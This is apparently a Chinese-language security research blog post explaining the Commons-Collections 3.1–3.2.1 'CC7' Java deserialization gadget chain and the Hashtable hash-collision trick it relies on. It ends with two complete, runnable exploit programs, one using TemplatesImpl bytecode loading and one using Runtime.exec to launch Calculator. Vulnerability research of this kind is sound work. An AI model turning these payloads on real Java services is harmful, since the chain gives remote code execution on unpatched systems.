利用条件
Commons-Collections 3.1 - 3.2.1
不限制JDK版本
利用链

上图是在网上找的CC的几个版本链图
Gadget chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
利用链分析
Hashtable

在 Hashtable 类中的 readObject() 方法中调用了 reconstitutionPut() 方法,该类作为一个反序列化入口

在 readObject() 方法中有以下片段代码
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
for 循环获取了 Hashtable 中的元素,也就是我们put的那两个元素,这里要注意 key 不能相同,因为在 Hashtable 中 key 是唯一的
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
如果我们只put一个元素的话,在这里不会进入for循环,不会调用 equals() 方法
我们需要put两个元素,还有一个更重要的一点是put方法会调用两次,如果每次key计算出来的hashCode不一样,那么index变量也会受到影响,在第二次对tab进行迭代时就找不到对应的值了,就不会进行for循环导致不能执行到 e.key.equals(key) 这里
根据上面的代码分析,我们发现貌似对 tab 中的 hash 和当前元素的 hash 进行了比较是否相等
int hash = key.hashCode();
hash 是通过调用 key.hashCode() 方法获得的,那么也就说我们put的两个元素的 key 值 hash 要相等,看ysoserial工具链中的代码,使用了 yy 和 zZ,这两个hashCode是一样的,还有 "" 和 f5a5a608 的hashCode也是一样的

那么我们知道了必须要有两个元素,且这两个元素的 key 分别是 yy 和 zZ,在后面调用了 e.key 的 equals 方法,而这个 key 对象其实就是 LazyMap
AbstractMapDecorator

在 LazyMap 类中没有 equals 方法,在它的父类 AbstractMapDecorator 中有 equals() 方法
protected transient Map map;
map 属性是 Map 类型,这里的 map 其实就是 HashMap 类对象,那么我们看下 HashMap 的父类有没有 equals() 方法
AbstractMap


在 HashMap 的父类 AbstractMap 中有一个 equals() 方法,其中调用了 get() 方法,m 就是我们传入的 LazyMap 类对象


后续就是和CC3的前半部分差不多了,后续就不过多介绍了
这里要注意的一点是,在利用代码中调用 hashtable.put() 方法时,也会调用 equals() 方法,所以也能调用到这里的 get() 方法,导致在序列化阶段就执行了恶意代码,这里我们需要先将 ChainedTransformer 实例化对象的构造方法传入一个空的 Transformer[] 对象,等 hashtable.put() 方法调用完之后再通过反射来设置 iTransformers 属性的值为真正需要利用的 Transformer 对象即可

为什么要remove(“yy”)?

我们正常执行到 hashtable.put(lazyMap1, 1); 是可以正常的将 lazyMap1 对象添加到hashtable中的

由于在调用 hashtable.put() 方法时,也会调用 equals方法,我们第一次put的时候 tab[] 是空的,for循环是进不去的则正常添加到hashtable中


当第二次put的时候,会从hashtable中迭代获取我们上次添加的那个元素 {yy=1},这里由于 yy 和 zZ 的hashCode一样,则调用 AbstractMap 类的 equals() 方法

这里又使用了迭代器,获取了上次我们添加的那个元素 {yy=1},此时 key 为 yy,m 变量则是 {zZ=1},跟进到 LazyMap 的 get() 方法中看一下

这里判断 {zZ=1} 中是否包含 yy 这个键,结果是false,则进入if语句

这里往 lazyMap2 对象中添加了一个元素 {yy=yy},不论后面如何,这里就很奇怪了,lazyMap2 对象中有两个元素了 {zZ=1,yy=yy},那么在反序列化时调用 reconstitutionPut() 方法时会导致计算出来的hashCode不一致,就不能进入for循环执行 equals() 方法了
总结一下,这里主要的原因就是在 lazyMap2.put() 时,多加了一个元素,那么在反序列化时 lazyMap1 和 lazyMap2 的key生成出来的hashCode不一致,也就不能执行到 equals() 方法这里了
利用链EXP编写
TemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformer);
lazyMap2.remove("yy");
serialize(hashtable);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
###InvokerTransformer
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformer);
lazyMap2.remove("yy");
serialize(hashtable);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/a70cc9306261.html
Comments